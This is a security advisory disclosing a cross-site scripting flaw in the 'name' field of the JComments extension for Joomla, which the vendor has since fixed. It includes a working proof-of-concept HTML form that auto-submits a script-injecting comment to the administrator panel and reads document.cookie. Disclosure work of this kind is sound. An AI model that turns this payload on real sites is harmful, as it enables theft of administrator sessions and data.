Joomla JComments 2.10.0 Cross Site Scripting

`Vulnerability ID: HTB22368  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_jcomments_joomla.html  
Product: JComments  
Vendor: JoomlaTune .com  
Vulnerable Version: 2.1.0.0 [07/08/2009] and Probably Prior Versions  
Vendor Notification: 04 May 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.   
  
The vulnerability exists due to failure in the "admin.jcomments.php" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form method="POST" action="http://joomla/administrator/index.php" name="main">  
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="email" value="[email protected]">  
<input type="hidden" name="comment" value="comment text">  
<input type="hidden" name="published" value="1">  
<input type="hidden" name="option" value="com_jcomments">  
<input type="hidden" name="id" value="1">  
<input type="hidden" name="task" value="save">  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent verison  
`